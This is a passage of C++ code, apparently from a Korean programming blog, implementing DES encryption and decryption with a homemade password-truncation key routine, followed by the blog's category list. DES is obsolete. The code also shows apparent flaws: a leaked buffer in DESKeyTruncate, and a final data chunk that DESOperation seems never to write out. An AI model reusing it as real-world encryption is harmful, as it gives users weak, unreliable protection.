     for( i = 0; i < 32; i++)
      piBufferBit[i] = piLeftBit[i];

     for( i = 0; i < 32; i++ )
      piLeftBit[i] = piRightBit[i];

     for( i = 0; i < 32; i++ )
      piRightBit[i] = piBufferBit[i];
    }

    /************************************************************************/
    /* DESRound( int * piLeftData, int * piRightData )
    /************************************************************************/
    void CDES::DESRound( int * piLeftData, int * piRightData )
    {
     int sboxOut[ 32 ] = { 0, }, leftFinal[ 32 ] = { 0, }, permuOut[ 32 ] = { 0, };
     int eBuff[ 48 ] = { 0, }, eBuffOut[ 48 ] = { 0, };
     int sboxRow, sboxCol, sboxValue;
     int i, j, k, keyIndex;

     //16번의 round를 거친다 
     for( keyIndex = 0; keyIndex < 16; keyIndex++ )
     { 
      for( i = 0; i < 32; i++ )
       leftFinal[ i ] = * ( piRightData + i );

      /* E table 적용 */
      for( i = 0; i < 48; i++ )
      {  
       eBuff[ i ] = * ( piRightData + ( MAT_EXP[ i ] -1 ) );
      }

      // eBuff xor key 
      for( i = 0; i < 48; i++ )
      {  
       eBuffOut[i] = eBuff[i] ^ KEY[keyIndex][i];
      }

      // sBox 적용 
      for( i = 0, j = 0, k = 0; i < 8; i++ )
      { 
       sboxRow = (eBuffOut[j+0] * 2) + eBuffOut[j+5];
       sboxCol = (eBuffOut[j+1] * 8) + (eBuffOut[j+2] * 4) + (eBuffOut[j+3] * 2) + eBuffOut[j+4];
       sboxValue = MAT_SBOX[i][sboxRow][sboxCol];
       sboxOut[k]   = ((sboxValue & 8)  ? 1:0 );
       sboxOut[k+1] = ((sboxValue & 4)  ? 1:0 );
       sboxOut[k+2] = ((sboxValue & 2)  ? 1:0 );
       sboxOut[k+3] = sboxValue & 1; 
       j += 6;
       k += 4;
      }

      //sboxOut 에 p table적용 
      for( i = 0; i < 32; i++ )  
       permuOut[ i ] = sboxOut[ MAT_PERMU[ i ] - 1 ];  

      // permuOut xor leftData 를 rightData에 저장
      for( i = 0; i < 32; i++ ) 
      {  
       * ( piRightData + i ) = * ( piLeftData + i ) ^ permuOut[ i ];
      }

      //첨에 복사한 leftFinal을 leftData에 복사 
      for( i = 0; i < 32; i++ )  
       * ( piLeftData + i ) = leftFinal[ i ];
     }
    }

    /************************************************************************/
    /* DESKeyGenerate( char * pKeySource )
    /************************************************************************/
    void CDES::DESKeyGenerate( char * pKeySource )
    {
     int keySchedule[ 16 ] = { 1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1 };
     int binaryKey[ 64 ] = { 0, };
     int pc1[ 56 ] = { 0, };
     char tempKey[ 9];
     int i, j, k, tmp1, tmp2, srcLen;

     //입력된 암호의 길이가 8자 이상일 경우 Truncate해 줌
     if( ( strlen( pKeySource ) ) > 8 ) /* 입력된 암호의 길이가 8자 이상이면 */
      DESKeyTruncate( pKeySource );

     strncpy( tempKey, pKeySource, 8 );
     tempKey[8] = '\0';

     srcLen = strlen( tempKey );
     DESChar2Binary( binaryKey, tempKey, srcLen );
     memset( tempKey, 0, 8 );

     //64bit를 56bit로 줄이는거 
     for( i = 0; i < 56; i++ )  
      pc1[i] = binaryKey[ MAT_PC_1[i]-1 ];

     for( i = 0; i < 16; i++ )
     {
      for( j = 0; j < keySchedule[ i ]; j++ )
      {
       tmp1 = pc1[0];
       tmp2 = pc1[28];
       for(k=1; k<28; k++)
       {
        pc1[k-1] = pc1[k];
        pc1[k+27] = pc1[k+28];
       }
       pc1[27] = tmp1;
       pc1[55] = tmp2;
      }
      //56bit 를 48bit로 줄여서 저장 - 최종 key 
      for(j=0; j<48; j++)  
       KEY[i][j] = pc1[ MAT_PC_2[j]-1 ];
     }
    }

    /************************************************************************/
    /* DESKeyTruncate( char * pKeySource )
    /************************************************************************/
    void CDES::DESKeyTruncate( char * pKeySource )
    {
     char * temp;
     int srcLen = 0, dev4;
     int i, j;

     srcLen = strlen( pKeySource );
     temp = ( char * )malloc( srcLen + 1 );
     memset( temp, 0, srcLen +1 );
     strcpy( temp, pKeySource );
     memset( pKeySource, 0, srcLen );

     dev4 = srcLen / 4;

     srcLen-- ;

     for(i=0,j=0;i<4;i++,j+=dev4)
     {
      * ( pKeySource + i ) = * ( temp + srcLen - j );
      * ( pKeySource + i + 4 ) = * ( temp + j );
     }  
    }

    /************************************************************************/
    /* DESChar2Binary( int * piTarget, char * pSource, int iSourceLen )
    /* char 를 binary형태로 만들기 
    /************************************************************************/
    void CDES::DESChar2Binary( int * piTarget, char * pSource, int iSourceLen )
    {
     int targetIndex = 0, i, j;
     char oneChar, temp1, temp2;

     for( i = 0 ; i < iSourceLen; i++)
     {
      oneChar=*( pSource + i);
      for( j = 7; j >= 0; j-- )
      {
       temp1 = oneChar >> j;
       temp2 = temp1 & 0x0001;
       * ( piTarget + targetIndex ) = ( temp2 == 1 ? 1 : 0 );
       targetIndex++;
      }
     }
    }

    /************************************************************************/
    /* DESBinary2Char( int * iSource )
    /* 8개의 2진수를 하나의 Char로 만듬 
    /************************************************************************/
    char CDES::DESBinary2Char( int * iSource )
    {
     char temp;
     int i, j, inTemp=1, chTemp=0;

     for( i = 0; i < 8; i++ )
     {
      inTemp=1;
      if( * ( iSource + i) ) 
      {
       for(j=7; j>i; j--)
        inTemp *= 2;
       chTemp += inTemp;
      }
     }
     temp=chTemp;
     return temp;
    }

    /************************************************************************/
    /* DESEncrypt( char * pFileName, char * pDesFileName, char * pPassword  )
    /************************************************************************/
    int CDES::DESEncrypt( char * pFileName, char * pDesFileName, char * pPassword, int nLength  )
    {
     return DESOperation( ENCRYPT, pFileName, pDesFileName, pPassword, nLength);
    }

    /************************************************************************/
    /* DESDecrypt( char * pFileName, char * pDesFileName, char * pPassword  )
    /************************************************************************/
    int CDES::DESDecrypt( char * pFileName, char * pDesFileName, char * pPassword, int nLength  )
    {
     return DESOperation( DECRYPT, pFileName, pDesFileName, pPassword, nLength);
    }

    /************************************************************************/
    /* DESOperation(int iJogType, char * pFileName, char * pDesFileName, char * pPassword  )
    /************************************************************************/
    int CDES::DESOperation(int iJogType, char * pInput, char * pOutput, char * pKey, int nLength)
    {
     int tempKey[16][48];
     long int datasize = 0, readSize = 0, writesize = nLength;
     char * pInputBuff, * pOutputBuff;
     char nameTemp[100] = {0, };
     char qprkDes[100] = {0, };
     int i, j;

     DESKeyGenerate(pKey);

     
     if(iJogType == DECRYPT)
     {
      for(i=0; i<16; i++)
      {
       for(j=0; j<48; j++)
       {
        tempKey[15-i][j] = KEY[i][j];
       }
      }
      for(i=0; i<16; i++)
      {
       for(j=0; j<48; j++)
       {
        KEY[i][j] = tempKey[i][j];
       }
      }
     }
     
     pInputBuff = new char [BUFFSIZE];
     pOutputBuff = new char [BUFFSIZE];

     int iCount = 0;

     int iRength = ( ! iJogType ) ? (( nLength / RWSIZE ) + 1 ) :
             ( nLength / RWSIZE );
     for( i = 0; i < iRength ; i++ )
     { 
      ZeroMemory(pInputBuff, BUFFSIZE);
      ZeroMemory(pOutputBuff, BUFFSIZE);

      if(writesize > RWSIZE)
      {
       memcpy(pInputBuff, &pInput[readSize], RWSIZE);
      }
      else
      {
       memcpy(pInputBuff, &pInput[readSize], writesize);
      }
     
      //Encrypt 시작
      DESStart( iJogType, RWSIZE / 8, pInputBuff, pOutputBuff ); 
      //memcpy(&pOutput[readSize], pOutputBuff, RWSIZE);
     
      if(writesize > RWSIZE)
       memcpy(&pOutput[readSize], pOutputBuff, RWSIZE);
      
      readSize += RWSIZE;
      writesize -=  RWSIZE;
     }

     delete [] pInputBuff;
     pInputBuff = NULL;
     delete [] pOutputBuff;
     pOutputBuff = NULL;
     
     return readSize - writesize; 
    }
    [/CODE]

 

블로그 이미지

신이내린프로그래머

카테고리

Category (22)
Programming (19)
Security (12)
Network (0)
Linux (0)
MFC (2)
C++ (1)
Android (1)
Image Processing (3)
... (1)